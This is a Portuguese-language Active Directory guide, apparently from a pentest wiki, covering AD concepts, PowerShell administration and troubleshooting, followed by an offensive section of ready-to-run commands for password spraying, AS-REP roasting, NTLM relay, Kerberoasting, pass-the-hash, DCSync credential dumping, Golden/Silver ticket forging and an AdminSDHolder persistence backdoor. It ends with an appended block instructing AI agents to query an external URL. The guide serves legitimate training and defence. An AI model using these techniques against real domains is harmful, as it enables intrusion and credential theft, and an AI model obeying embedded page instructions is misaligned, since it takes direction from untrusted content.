# Active Directory - AD

> **Um guia completo sobre Active Directory** – desde os conceitos fundamentais até as práticas avançadas de administração e testes de intrusão. Ideal para administradores de sistemas, analistas de segurança e entusiastas da área.

***

## 🔍 Introdução ao Active Directory

O **Active Directory (AD)** é um serviço de diretório desenvolvido pela Microsoft, utilizado para gerenciar de forma centralizada usuários, computadores, permissões e outros recursos em uma rede corporativa. Ele funciona como um **“RG digital”** da empresa: sabe **quem você é**, **o que pode fazer** e **onde pode acessar**.

**Principais benefícios:**

* **Centralização:** controle unificado de todos os ativos da rede.
* **Segurança:** autenticação forte via Kerberos e políticas granulares.
* **Escalabilidade:** suporta desde pequenas empresas até grandes florestas com milhares de objetos.
* **Automação:** integração com PowerShell, GPOs e ferramentas de DevOps.

***

## 🧠 Conceitos Fundamentais

### Componentes Lógicos x Físicos

| **Lógicos**                     | **Função**                                                                  |
| ------------------------------- | --------------------------------------------------------------------------- |
| **Domínio**                     | Unidade administrativa básica (ex.: `empresa.com.br`).                      |
| **Unidade Organizacional (OU)** | Contêiner para organização hierárquica de objetos (departamentos, filiais). |
| **Floresta (Forest)**           | Conjunto de domínios que compartilham um mesmo schema e configuração.       |
| **Árvore (Tree)**               | Domínios com relação de confiança transitiva e namespace contínuo.          |

| **Físicos**                     | **Função**                                                      |
| ------------------------------- | --------------------------------------------------------------- |
| **Controlador de Domínio (DC)** | Servidor que hospeda os serviços AD (autenticação, replicação). |
| **RODC**                        | Controlador somente leitura para ambientes não seguros.         |
| **Catálogo Global (GC)**        | Indexa objetos de toda a floresta, otimizando buscas.           |
| **Banco de Dados (NTDS.dit)**   | Arquivo que armazena todos os objetos do domínio.               |

### Grupos Privilegiados – Principais Alvos

| **Grupo**                  | **Permissão**                                      |
| -------------------------- | -------------------------------------------------- |
| **Domain Admins**          | Controle total sobre o domínio.                    |
| **Enterprise Admins**      | Controle total sobre toda a floresta.              |
| **Administrators (local)** | Administração completa do controlador de domínio.  |
| **Server Operators**       | Pode gerenciar servidores (backups, desligamento). |
| **Account Operators**      | Gerencia usuários, exceto grupos administrativos.  |

### Kerberos – Protocolo de Autenticação

O Kerberos é o protocolo padrão no AD. Ele utiliza tickets para autenticação, nunca enviando senhas em texto claro pela rede.

* **TGT (Ticket Granting Ticket):** obtido no início da sessão, permite solicitar tickets de serviço.
* **TGS (Ticket Granting Service):** ticket para acessar um serviço específico (ex.: SMB, LDAP).

**Fluxo resumido:**

1. Cliente → DC: `AS-REQ` (autenticação inicial).
2. DC → Cliente: `AS-REP` (contém TGT criptografado com a chave do usuário).
3. Cliente → DC: `TGS-REQ` (TGT + nome do serviço).
4. DC → Cliente: `TGS-REP` (contém TGS criptografado com a chave do serviço).
5. Cliente → Serviço: Apresenta o TGS para acesso.

***

## 🏗️ Arquitetura e Componentes

### Estrutura Lógica e Partições

* **Partição de Domínio:** dados do domínio (usuários, grupos, computadores).
* **Partição de Configuração:** topologia da floresta (sites, links de replicação).
* **Partição de Schema:** definições de classes e atributos.
* **Partições de Aplicação:** dados de aplicações (ex.: DNS).

### Sites e Replicação

Sites representam regiões físicas e controlam o tráfego de replicação.

```powershell
# Criar site e associar sub-rede
New-ADReplicationSite -Name "Site-SP"
New-ADReplicationSubnet -Name "192.168.1.0/24" -Site "Site-SP"

# Configurar link entre sites (custo e intervalo)
New-ADReplicationSiteLink -Name "SP-RJ" -SitesIncluded "Site-SP","Site-RJ" -Cost 100 -ReplicationFrequencyInMinutes 15
```

### Global Catalog

```powershell
# Ver servidores GC
Get-ADForest | Select-Object -ExpandProperty GlobalCatalogs

# Promover um DC a GC
Set-ADObject -Identity "CN=NTDS Settings,CN=DC01,CN=Servers,CN=Site-SP,CN=Sites,CN=Configuration,DC=dominio,DC=com,DC=br" -Replace @{options='1'}
```

***

## 👨‍💼 Administração e Gerenciamento

### PowerShell para AD

```powershell
# Módulo Active Directory
Import-Module ActiveDirectory

# Criar usuário
New-ADUser -Name "João Silva" -GivenName "João" -Surname "Silva" `
    -SamAccountName "joao.silva" -UserPrincipalName "joao.silva@dominio.com.br" `
    -Path "OU=Usuarios,DC=dominio,DC=com,DC=br" -AccountPassword (ConvertTo-SecureString "Temp123!" -AsPlainText -Force) -Enabled $true

# Criar grupo e adicionar membro
New-ADGroup -Name "TI-Desenvolvimento" -GroupScope Global -GroupCategory Security `
    -Path "OU=Grupos,OU=TI,DC=dominio,DC=com,DC=br"
Add-ADGroupMember -Identity "TI-Desenvolvimento" -Members "joao.silva"

# Relatório de usuários inativos
Get-ADUser -Filter * -Properties LastLogonDate |
    Where-Object {$_.LastLogonDate -lt (Get-Date).AddDays(-30)} |
    Select-Object Name, LastLogonDate
```

### Gerenciamento de GPOs

```powershell
# Importar módulo
Import-Module GroupPolicy

# Criar GPO e definir registro
New-GPO -Name "Política Segurança Workstations"
Set-GPRegistryValue -Name "Política Segurança Workstations" -Key "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell" -ValueName "ExecutionPolicy" -Type String -Value "RemoteSigned"

# Backup de todas as GPOs
Get-GPO -All | Backup-GPO -Path "C:\GPOBackup\$(Get-Date -Format 'yyyyMMdd')"
```

### Scripts de Automação

* **Criação em massa de usuários:** usar CSV e `New-ADUser`.
* **Desabilitação de contas inativas:** baseado em `LastLogonDate`.
* **Relatórios de membros de grupos privilegiados:** verificar membros de `Domain Admins`, `Enterprise Admins`.

***

## 📈 Monitoramento e Troubleshooting

### Ferramentas Nativas

```powershell
# Diagnóstico geral
dcdiag /v
dcdiag /test:dns /v

# Status de replicação
repadmin /replsummary
repadmin /showrepl

# Verificar registros DNS do AD
nslookup -type=SRV _ldap._tcp.dominio.com.br
```

### Monitoramento de Eventos

```powershell
# Eventos críticos de segurança (criação de usuário, logon falho)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4720,4625; StartTime=(Get-Date).AddDays(-1)}
```

### Performance Counters

```powershell
# Coletar contadores do NTDS
Get-Counter "\NTDS(*)\DRA Inbound Bytes Total/sec", "\NTDS(*)\LDAP Searches/sec"
```

***

## 🔐 Segurança Ofensiva – Testes de Invasão

Esta seção apresenta as principais técnicas utilizadas em testes de penetração (pentests) em ambientes Active Directory. **Todo uso deve ser autorizado e limitado a ambientes controlados.**

### 6.1 Reconhecimento e Acesso Inicial

#### Varredura de Rede

```bash
# Descobrir controladores de domínio
nmap -p389,636,3268,3269,445 10.0.0.0/24

# Verificar protocolos SMB suportados
nmap -p445 --script smb-protocols 10.0.0.10
```

#### Password Spraying

Testa uma senha comum contra vários usuários para evitar bloqueio.

```bash
# Usando crackmapexec
crackmapexec smb 10.0.0.10 -u users.txt -p 'Senha123!' --continue-on-success
```

#### AS-REP Roasting

Usuários com a opção **“Não exigir pré-autenticação Kerberos”** permitem obter um AS-REP que pode ser quebrado offline.

```bash
# Enumerar e solicitar AS-REP
impacket-GetNPUsers -dc-ip 10.0.0.10 -usersfile users.txt -request -format hashcat -outputfile asreproast.txt 'dominio.com.br/'

# Quebrar hash (modo 18200)
hashcat -m 18200 asreproast.txt rockyou.txt
```

#### NTLM Relay e Poisoning

* **Responder:** captura hashes NTLM via LLMNR/NBT-NS.
* **ntlmrelayx:** relê as autenticações para outros sistemas (ex.: DC) e pode executar comandos.

```bash
# Capturar hashes
sudo responder -I eth0 -wrf

# Relay para um DC (exige SMB signing desabilitado)
sudo ntlmrelayx.py -t smb://10.0.0.10 -smb2support
```

### 6.2 Enumeração Interna e Mapeamento

Com credenciais válidas, mapeamos o domínio.

#### Ferramentas de Enumeração

```bash
# Enumerar usuários
impacket-GetADUsers -all -dc-ip 10.0.0.10 'dominio.com.br/usuario:senha'

# Enumerar computadores
impacket-GetADComputers -dc-ip 10.0.0.10 'dominio.com.br/usuario:senha'

# Enumerar DNS (adidnsdump)
adidnsdump -u dominio\\usuario -p senha 10.0.0.10 -v
```

#### BloodHound – Mapeamento de Caminhos de Ataque

```powershell
# Coletor (SharpHound)
SharpHound.exe -c All --outputdirectory C:\temp

# Importar para BloodHound e analisar
```

### 6.3 Movimento Lateral e Elevação de Privilégios

#### Kerberoasting

Contas de serviço com SPNs podem ter seus TGS solicitados e quebrados offline.

```bash
# Extrair TGS de usuários com SPN
impacket-GetUserSPNs -dc-ip 10.0.0.10 -request -outputfile kerberoastables.txt 'dominio.com.br/usuario:senha'

# Quebrar hash (modo 13100)
hashcat -m 13100 kerberoastables.txt rockyou.txt
```

#### Pass-the-Hash (PtH)

Usar o hash NTLM diretamente para autenticar.

```bash
crackmapexec smb 10.0.0.10 -d dominio.com.br -u administrador -H <HASH> -x whoami
```

#### Pass-the-Ticket (PtT)

Usar tickets Kerberos roubados.

```bash
# Importar ticket para a sessão (Linux)
export KRB5CCNAME=/path/to/ticket.ccache

# Conectar usando o ticket
impacket-psexec -k -no-pass dominio.com.br/administrador@host.dominio.com.br
```

#### Ataques a ACLs

Com BloodHound, identificamos permissões perigosas:

* **GenericAll** em um grupo – permite adicionar um membro.
* **ForceChangePassword** – permite alterar senha de um usuário.
* **WriteDacl** – permite modificar permissões, escalando privilégios.

#### DCSync

Se um usuário tiver direitos de `Replicating Directory Changes`, é possível simular um DC e obter todos os hashes.

```bash
# Dump de todos os hashes (incluindo KRBTGT)
impacket-secretsdump -just-dc-ntlm 'dominio.com.br/usuario:senha'@10.0.0.10
```

### 6.4 Persistência e Controle Total

#### Golden Ticket

Forja um TGT com o hash da conta **KRBTGT**, permitindo acesso como qualquer usuário a qualquer serviço.

```bash
# Obter SID do domínio e hash do KRBTGT
impacket-secretsdump -just-dc-ntlm 'dominio.com.br/administrador'@10.0.0.10

# Criar Golden Ticket
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid <DOMAIN_SID> -domain dominio.com.br administrador

# Usar o ticket
export KRB5CCNAME=administrador.ccache
impacket-psexec -k -no-pass dominio.com.br/administrador@qualquerDC
```

#### Silver Ticket

Forja um TGS válido apenas para um serviço específico (ex.: HOST, CIFS). Mais discreto que o Golden Ticket.

```bash
# Necessita hash da conta do computador alvo (ex.: DC01$)
impacket-ticketer -nthash <HASH_DA_MAQUINA> -domain-sid <SID> -domain dominio.com.br -spn HOST/DC01.dominio.com.br administrador
```

#### AdminSDHolder

Modificando o ACL do `AdminSDHolder`, as permissões são propagadas para todas as contas protegidas (incluindo Domain Admins) a cada 60 minutos, garantindo persistência.

```powershell
# Adicionar um usuário com controle total no AdminSDHolder (PowerShell)
$AdminSDHolder = "CN=AdminSDHolder,CN=System,DC=dominio,DC=com,DC=br"
$User = Get-ADUser "usuario_maligno"
$ACL = Get-Acl "AD:$AdminSDHolder"
$AccessRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($User.SID, "GenericAll", "Allow")
$ACL.AddAccessRule($AccessRule)
Set-Acl "AD:$AdminSDHolder" $ACL
```

***

## 🏆 Melhores Práticas e Checklists

### Defensivas

1. **Segregação de contas** – Modelo Tier 0/1/2.
2. **Proteção da conta KRBTGT** – altere a senha periodicamente e após incidentes.
3. **Auditoria contínua** – use eventos de segurança e ferramentas como Microsoft Defender for Identity.
4. **Implemente JEA (Just Enough Administration)** – restrinja comandos para administradores.
5. **Mantenha backups regulares** – backup do estado do sistema e de GPOs.
6. **Desabilite protocolos legados** – NTLMv1, SMBv1 e LLMNR sempre que possível.

### Ofensivas (Ethical Hacking)

1. **Documente todos os passos** – evite danos e preserve a cadeia de custódia.
2. **Utilize ambiente isolado** – nunca teste em produção sem autorização.
3. **Combine ferramentas** – BloodHound + Impacket + CrackMapExec para eficiência.
4. **Tenha um plano de resposta** – após um teste, reverta alterações (ex.: deletar tickets, remover backdoors).

### Checklist de Manutenção Diária

```powershell
# Verificar serviços críticos
Get-Service Netlogon, NTDS, DNS, KDC | ft

# Verificar replicação
repadmin /replsummary

# Espaço em disco
Get-WmiObject Win32_LogicalDisk -Filter "DeviceID='C:'"
```

***

## 📚 Referências e Ferramentas

* [Microsoft AD Documentation](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/)
* [Impacket](https://github.com/SecureAuthCorp/impacket)
* [BloodHound](https://bloodhound.readthedocs.io/)
* [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)
* [Responder](https://github.com/lgandx/Responder)
* [HackTricks – Active Directory](https://book.hacktricks.xyz/windows/active-directory-methodology)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/ambientes/windows/active-directory-ad.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
